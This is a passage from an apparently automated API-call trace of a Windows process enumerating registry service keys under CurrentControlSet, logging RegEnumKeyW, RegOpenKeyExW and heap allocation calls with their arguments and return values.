lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0243.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.027] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0243.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0243.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.028] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0243.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0243.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f16e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0243.028] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0243.028] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0243.028] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0243.028] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0243.029] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0243.029] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0243.029] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0243.029] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0243.029] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0243.029] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0243.029] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0243.029] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0243.029] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0243.029] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0243.029] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0243.030] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0243.030] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0243.030] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0243.030] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0243.030] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0243.030] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0243.030] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0243.030] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0243.030] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0243.030] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0243.030] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0243.030] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0243.031] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0243.031] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0243.031] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0243.031] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0243.031] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0243.031] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0243.031] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0243.031] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0243.031] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0243.031] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0243.031] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0243.031] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0243.032] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0243.032] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0243.032] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0243.032] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0243.032] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0243.032] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0243.032] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0243.032] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0243.032] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0243.032] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0243.032] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0243.032] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0243.032] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0243.033] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0243.033] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0243.033] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0243.033] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0243.033] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0243.033] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0243.033] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0243.033] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0243.033] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0243.033] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0243.033] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0243.033] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0243.034] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0243.034] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0243.034] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0243.034] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0243.034] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0243.034] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0243.034] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0243.034] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0243.034] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0243.034] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0243.035] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0243.035] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0243.035] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0243.035] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0243.035] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0243.035] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0243.035] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0243.035] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0243.035] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0243.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0243.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0243.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0243.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0243.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0243.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0243.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0243.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0243.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0243.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0243.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0243.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0243.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0243.037] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0243.037] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0243.037] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0243.037] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0243.037] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0243.037] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0243.037] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0243.037] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0243.037] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0243.037] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0243.037] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0243.037] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0243.038] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0243.038] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0243.038] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0243.038] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0243.038] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0243.038] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0243.038] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0243.038] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0243.038] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0243.038] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0243.038] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0243.039] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0243.039] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0243.039] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0243.039] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0243.039] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0243.039] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0243.039] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0243.039] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0243.039] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0243.039] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0243.039] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0243.039] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0243.039] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0243.040] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0243.040] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0243.040] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0243.040] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0243.040] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0243.040] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0243.040] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0243.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0243.040] RegCloseKey (hKey=0x150) returned 0x0 [0243.040] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0243.040] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0243.040] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0243.040] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0243.041] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0243.041] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0243.041] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0243.041] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0243.041] RegCloseKey (hKey=0x80000002) returned 0x0 [0243.041] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0243.041] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0243.041] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0243.041] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0243.041] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0243.041] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0243.041] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0243.041] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0243.041] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0243.042] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0243.042] RegCloseKey (hKey=0xc4) returned 0x0 [0243.042] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0243.042] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0243.042] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0243.042] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0243.042] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0243.042] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0243.042] RegCloseKey (hKey=0x150) returned 0x0 [0243.042] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0243.042] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0243.042] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0243.042] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0243.042] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0243.043] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0243.043] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0243.043] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0243.043] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0243.044] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.044] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, 